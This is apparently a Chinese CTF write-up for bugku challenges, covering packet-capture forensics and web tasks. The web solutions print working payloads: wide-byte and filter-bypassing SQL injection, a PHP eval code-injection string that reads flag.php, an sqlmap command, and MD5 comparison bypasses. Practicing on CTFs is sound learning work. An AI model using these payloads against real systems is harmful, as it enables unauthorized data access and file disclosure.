bugku ctf writeup1

前言

  此篇文章记录bugku中作者觉得比较有价值的writeup。

MISC

linux基础问题

  将压缩包下载后可以发现一个flag文件,拿到010Editor查找flag却没有任何发现,后来使用winhex查找flag,发现了flag.txt,但这并没有什么用,所以再次查找key,此时就能找到flag。
flag:key{feb81d3834e2423c9903f4755464060b}



中国菜刀

  下载压缩文件后可以发现是wireshark的捕获包,使用wireshark分析,追踪TCP流可以发现有一段流比较奇怪。




  将传输的数据拿去进行base64解密可以得知这个流是读取flag的数据流。



  所以将这个蓝色部分的数据提取出来



  调整数据流后再选择解码类型。



  所以flag:key{8769fe393f2b998fa6a11afe2bfcd65e}

### 这么多数据包
  下载后用wireshark打开,将进度条下拉到灰色(传输稳定)的状态,选择一条,然后追踪TCP流,






  调节流,在1735就有发现,将那串字符进行base64解码后可以发现。






  所以flag:CCTF{do_you_like_sniffer}

### Linux2
  题目描述:
1
2
给你点提示吧:key的格式是KEY{}
题目地址:链接: http://pan.baidu.com/s/1skJ6t7R 密码: s7jy


  将文件下载后使用binwalk、foremost可以分离出一个看似是flag的图片,但提交却是错误。无奈只能换种思路,自己想了挺久没想出来,后来查了下writeup才发现正确的解题方式:使用strings brave分析文件






  所以flag:KEY{24f3627a86fc740a7f36ee2c7a1c124a}

## WEB
### sql注入
  题目描述:



  在测试的时候发现不管’还是”都无法判断是否存在注入,查看源代码发现页面使用gb2312,所以考虑宽字节注入,。



1
POC: id=1%df%27 and 1=1 -- +





  但在查询string的值时发生如下错误



  尝试将key使用反引号包围,即`key`。最终得到flag。



  所以flag:KEY{54f3320dc261f313ba712eb3f13a1f6d}

  后来查阅了资源,sqlmap进行宽字节注入的payload如下:
1
python2 sqlmap.py -u http://103.238.227.13:10083/?id=1%df%27


### 域名解析
  题目描述:
>听说把 flag.bugku.com 解析到120.24.86.145 就能拿到flag

  windows下修改本地hosts解析的方法是修改C:\Windows\System32\drivers\etc下的hosts文件,注意要用管理员身份修改。



  在里面增加一条记录即可,然后访问flag.bugku.com,即可得到flag。


SQL注入测试

  题目描述:

访问参数为:?id=x
查找表为key的数据表,id=1值hash字段值

  过滤代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//过滤sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
if (substr_count($id, $value) > 0)
{
exit('包含敏感关键字!'.$value);
}
}

//xss过滤
$id = strip_tags($id);

$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

  可以看出过滤得很严格,但致命的缺陷是$id = strip_tags($id);,它给了我们一丝可乘之机。strip_tags可以过滤掉html、xml、php中的标签,比如将a<a>nd过滤成and。

  所以payload:

1
http://103.238.227.13:10087/?id=-1 u<a>nion se<a>lect hash,2 f<a>rom `key` where id=1 -- +

  flag: KEY{c3d3c17b4ca7f791f85e#$1cc72af274af4adef}

本地包含

  题目描述:

1
2
3
4
5
6
7
echo '2333,不只是本地文件包含哦~'; <?php 
include "waf.php";
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>

  这里一开始踏进了一个坑,测试的时候使用了1)";echo 111;//,但没有任何回显。




  看了writeup后才发现"是多余的。



  在eval()中可以使用print_r(file("xxx"))的形式读取文件,所以payload就是:1);print_r(file("flag.php"));//


变量1

  题目描述:

1
2
3
4
5
6
7
8
9
10
11
12
13
flag In the variable ! <?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>

  这里由于正则只匹配字母,不允许有;之类的符号出现,所以用上一道题的payload是没法获得flag的。但好在存在$$args,可以为我们打开另一道窗。

  这里介绍一个php中的特殊变量: $GLOBALS,它的作用如下:




  所以我们可以利用$GLOBALS输出flag的值,故payload:http://120.24.86.145:8004/index1.php?args=GLOBALS


备份是个好习惯

  题目描述:

http://120.24.86.145:8002/web16/
听说备份是个好习惯

  访问index.php.bak可以下载源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>

  这里说下$_SERVER['REQUEST_URI']parse_str($str)的作用,

1
2
3
4
5
6
7
8
访问:http://localhost/aaa/?p=222
$_SERVER['REQUEST_URI'] = "/aaa/?p=222";

<?php
parse_str("name=Bill&age=60");
echo $name."<br>"; // Bill
echo $age; // 60
?>

  接下来介绍两个绕过md5检查的方法

  • 一:使用数组的形式绕过
        因为MD5不能处理数组,MD5在对数组进行加密时会返回false(null?)false==false无疑是成立的,所以可以构造?a[]=1&b[]=2之类的方法绕过检查。所以,payload1如下:


  • 二:找到两个md5加密后相同的值
        这个要考积累,这里我找到了两个值。?key1=QNKCDZO&key2=240610708


秋名山老司机

  题目描述:

亲请在2s内计算老司机的车速是多少
1741242492-1033554030-217864531-2107975482+1148641444-1741096300+174362695137826373521637778+861571530+717037212=?;

  附上python脚本如下,这里重要的函数是eval()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# -*- coding:utf-8 -*-

import requests
from bs4 import BeautifulSoup
url='http://120.24.86.145:8002/qiumingshan/'
r=requests.session()
requestpage = r.get(url)
soup = BeautifulSoup(requestpage.content, 'lxml')
ans=soup.select('div')[0].get_text()[:-3]
print(ans)
post=eval(ans)#计算表达式的值
data={'value':post}#构造post的data部分
flag=r.post(url,data=data)
print(flag.text)

速度要快

  题目描述:




  要注意的是margin,这是一个数字,这也是后面的一个小坑。

  用burpsuite抓包可以发现,http的头部有flag,并且一看就是base64编码过的。



  最后的脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# -*- coding:utf-8 -*-
import requests
import base64

url = 'http://120.24.86.145:8002/web6/'
r = requests.session()
html = r.get(url)
bs = html.headers['flag']
key = base64.b64decode(bs)
key = str(key, encoding='utf-8')
print(key)
key = key.split(' ')[1]
key = str(base64.b64decode(key), encoding='utf-8')
print(key)
data = {'margin':key}
html = r.post(url, data)
print(html.text)


  要注意的是,后面的一串还要进行一次base64解码才能得到数字


Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×